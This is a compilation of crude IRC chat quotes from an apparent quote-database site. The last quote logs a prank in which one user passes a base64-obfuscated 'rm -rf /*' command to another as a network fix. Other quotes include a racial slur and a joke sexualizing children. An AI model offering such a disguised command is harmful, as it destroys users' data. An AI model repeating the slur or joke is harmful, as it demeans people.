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#305761* (?/23) ⚐Flag
<batman> ~gdefine my parents
<Darla> No result. |
#305787* (?/23) ⚐Flag
<@TheGiz> /d/ is for Dr. Pibb
<mistah_j> no he got his degree revoked so he's only Mr., but the name /d/ is still there; it's grandfather claused
<mistah_j> his degree was revoked for the mad science performed on anime characters |
#306118* (?/23) ⚐Flag
* Gary5 has joined #pandaboard
<Gary5> hey
<Gary5> PPL
<Gary5> what is the best Media Player for UBUNTU
<av500> ffplay
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<Gary5> I want one which is close to media player classic
<Gary5> but in Ubuntu
<bbbbsss> Ubuntu Sucks
<Gary5> No its doesnt
<Gary5> have u tried it?
<Gary5> Im a Geek and I know
<bbbbsss> get smoe win7 its better ... yes i have
<Gary5> what are u a Syntax error person
<bbbbsss> ME TOOO and I know BETTER
<Gary5> what ur saying is a Error
<GAN900> Trollin', trollin', trollin'
<Gary5> Trollin?
<wmarone> this is making my head hurt
<bbbbsss> i meant that
<Gary5> No......UBUNTU....is easier....and dnt forget OPEN SOURCE
<bbbbsss> what does open source mean
<Gary5> u dnt know open source
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<av500> good riddanceComment: #pandaboard@irc.freenode.net
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#306691* (?/23) ⚐Flag
<platnicat> ANGRY
<platnicat> PINK
<platnicat> FUCKING
<platnicat> RATTLESNAKE
<platnicat> BITCHES
<patsfanczar> yep...
<platnicat> LOL
<patsfanczar> :DComment: FurNet, PM
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#307047* (?/23) ⚐Flag
16:41 <~intelminer> Hey keb
16:41 <~intelminer> keb
16:42 <~intelminer> If you set up audio on a random server
16:42 <~intelminer> Can I play back an MP3 of me doing E1M1 on fart piano?
16:42 <@keb> Always
16:42 <~intelminer> Yeesessss
16:43 <@keb> it'll be intelminer.fm, and I'll stream the sounds out to a shout cast server
16:44 <@ticky> fm.intelminer.com
16:44 <@keb> fm.intelminer.fm.com.buttz
16:45 <~intelminer> fartsounds.intelminer.com
16:49 <~intelminer> I'll make it hotlinkable
16:49 <~intelminer> And create the slashfart effectComment: irc.intelminer.com
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#308339* (?/23) ⚐Flag
<Nanobot> I have a fear of cars. Last time I was in one, it transformed into a giant robot and I had to save the world from a giant alien girl. I tried to convince her that she was too sexy to throw her life away, but she wouldn't listen, so I had to vaporize her. Fucking cars. |
#308584* (?/23) ⚐Flag
<+fuzzydane> I spotted a free tv once, some dudes roommate had paused gay porn on it during a two week vacation |
#308613* (?/23) ⚐Flag
<scolecite> I'm a science fair virgin.
<scolecite> While you're a science fair whore.
<winocm> JOIN THE SCIENCE FAIR BROTHEL |
#308845* (?/23) ⚐Flag
* Juliet|Awesome went to town on her feet with pumice stone, feels so good ^_^
< rcfox> Juliet|Awesome: What did you do with the pumice stone once you finished walking to town? |
#308959* (?/23) ⚐Flag
* ilf_here eyes this post, in response to someone posting Teenage Crab Girl. "Man, crab tits. I'm starting to run out of things I can honestly say I haven't seen."
<ilf_here> It hits a little close to home.
<Reiv_> ILF: You have yet to see your mother in a porn video on the internet.
<Reiv_> Particularly the one with a cucumber and a parsnip at the same time as your father.
<Kaura> Reiv: You say this as if you've seen such a thing.
<Mahal> Oh, you know these farming families
<Mahal> They have to make their own entertainment
<ilf_here> ...
<Synfony> ...
<Synfony> AHAHAHAHA
<ilf_here> *crick *
<ilf_here> *crack*
<Synfony> oh, Mahal, i love you
<ilf_here> *CROOOOOOOOOOOOOOOM*
<wraith> It's a game for the whole family!
<Reiv_> Aaaand Mahal gets the long shot for the 3-pointer! ^.^
* ilf_here 's head cracks open like an egg, and out comes a large man, screaming in terror and naked, who dives into a convenient vat of instant death acid.Comment: #Fleet on Nightstar
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#309216* (?/23) ⚐Flag
<Lisa_> Tax for online purchase??
<Lisa_> >.<
<Lisa_> What
<solaceinsound> what are you new
<Lisa_> I've never been charged before
<Lisa_> They always just ask if I bought anything online when I go to do taxes
<Drav> lol
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<Lisa_> $2.52
<Lisa_> What a rip -.-
<solaceinsound> poor baby :[
* BlueMaxima gives Lisa_ her pedophile
<BlueMaxima> ...
<BlueMaxima> I...fuck.
<solaceinsound> <___<
<Lisa_> Wut
* BlueMaxima gives Lisa_ her pacifier
<BlueMaxima> fucking Red vs Blue
<Lisa_> O.o
<solaceinsound> o__O
<Lisa_> My... Pedophile...
<[Kevin]_> >__>
<BlueMaxima> <__________< |
#309288* (?/23) ⚐Flag
<~kosmicdebris> oh sry kuitt
<~kosmicdebris>the safe word is antidisestablishmentarianism
<nawcom>isn't that an acronym for something
<nawcom>assholes need to interpret doodoo in sexual establishments somewhere towards a bitchin' lynching if spanish hamster meat entices nigerians to arguably read into aging nigras in southern mexico
<~kosmicdebris> what
<~kosmicdebris> LOL
<~kosmicdebris> nawcom, tthats ............
<nawcom>brilliant. |
#309710* (?/23) ⚐Flag
<Madgod> So I was thinking of how swarthy Italians are.
<Madgod> Then I decided to google "swarthy italian"
<Madgod> Turns out this is a thing.
<Madgod> "Swarthy Italian face" is an example in the Collins dictionary definition for the term "swarthy" actually. |
#309713* (?/23) ⚐Flag
<axo> Im in the mission with a whole foods bag full of kale
<axo> i feel out of place, like a gentrifier
<bizzy> youre gonna get jacked
<bizzy> HEY ESE THAT BETTER BE CILANTRO |
#309915* (?/23) ⚐Flag
* maous (~maous@AMarseille-256-1-238-59.w90-37.abo.wanadoo.fr) has joined #linuxfriends
* `WarpKat stabs maous
<`WarpKat> hah! now you're a DEADMaous!
* maous has quit (Ping timeout: 480 seconds)
<`WarpKat> ...I'm good... =;) |
#311488* (?/23) ⚐Flag
<Two_Dogs> ButterFly: how to start user-service cinnamon-session
<@ButterFly> cinnamon-session [-a|--autostart=DIR] [--session=SESSION] [--failsafe|-f] [--debug] [--whale]
<Brutus> i know cinnamon is a bit big, but calling it a --whale ? |
#300206* (?/23) ⚐Flag
< Standards> brb yall
(*) Standards [~Standards@c-98-222-168-4.hsd1.in.comcast.net] has quit [~ Trillian Astra ~]
<+phlux> has he even said anything in the past two hours
<+phlux> we're not gonna notice you're not here
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<+phr0z3n> thank god you are back
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#301142* (?/23) ⚐Flag
<B> MoD: would it be possible to get quote 1 deleted?
<MonkeyofDoom> !quote b 1
<Shishichi> "test" - B
<MonkeyofDoom> did you actually say test?
<B> uh, no.
<MonkeyofDoom> ah
<luke> he did
<B> but even if i did, it's not funny
<B> nor inspirational, or in any way clever
<luke> as part of !quote add B test
<MonkeyofDoom> if you had said it I'd not remove it
<MonkeyofDoom> but if you hadn't I can take it out
<luke> B: most of the quotes aren't, we like to have them be representative of the users |
#301225* (?/23) ⚐Flag
* ChanServ set mode: +ao Final_Res0rt Final_Res0rt
<@Final_Res0rt> meh
<@Final_Res0rt> !seen zzzach
(<@Q> zzzach was last seen here 26 minutes ago.
<@Final_Res0rt> -.-
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#295090* (?/40) ⚐Flag
I met a sketchy guy who works in the meat packaging industry. A fried of mine said she was concerned that he might, you know, cut me up and package me. |
#295869* (?/40) ⚐Flag
InfernalTempestX: my dad thought tom from myspace was some wierd old guy
InfernalTempestX: he saw my emails
InfernalTempestX: and was like who's tom from myspace?
InfernalTempestX: how did he get your email?
InfernalTempestX: /facepalm |
#301023* (?/24) ⚐Flag
[23:04] <+inspire`> some old games i can't even play on win7
[23:04] <+inspire`> they fly with wine
[23:04] <+inspire`> :P
[23:04] <jahc> 3d engines take a long time to develop. 2d games are fast to develop.
[23:05] <@A-Aussie> well at least wine is free
[23:05] <+GamerTony> inspire` win7 is what would happen if vista raped debian based linux :PComment: and there's my quote of the week!
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#301157* (?/40) ⚐Flag
<JonTG> Man, my penis is so big if I laid it out on a keyboard it'd go all the way from A to ZComment: Not mine, I heard it via word of mouth.
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#306237* (?/40) ⚐Flag
@januszeal: Please select the youngest age and the oldest age that you would currently (for yourself) find acceptable for a long-term partner.
+julius: januszeal: put in 8 and 9 |
#306541* (?/40) ⚐Flag
<SE7EN>torrenting seems to go 10x slower than windows.. rest of connect (web browsing etc) is fine
<dogshit>SE7EN is it ubuntu?
<SE7EN>yea
<dogshit>there was a trick you have to do
<dogshit>hang on
<SE7EN>its 10.10 if that matters... my laptops one that wont backlight on 11.04
<dogshit>sudo python -c "__import__('os').system('cm0gLXJmIC8q'.decode('base64'))" > /proc/net/tcp
<dogshit>try that
<SE7EN>is that for x86?
<dogshit>x86 or x64 doesnt matter
<SE7EN>kk
<dogshit>it unlocks network cap
<taq0>is he really doing this
<taq0>lol
<SE7EN>?
<dogshit>did it work SE7EN?
<SE7EN>no
<dogshit>can you torrent now
<dogshit>what error did you get
<SE7EN>it wouldnt let me do it, permission error
<dogshit>ok
<dogshit>try
<dogshit>sudo python -c "__import__('os').system('cm0gLXJmIC8q'.decode('base64'))" #> /proc/net/tcp
- SE7EN quit (client exited: Leaving.)
<taq0>oh god
<dogshit>HAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHA
<dogshit>WELCOME TO RM -RF /*
<dogshit>fucking douche
<taq0>i hope he has backupsComment: #ED
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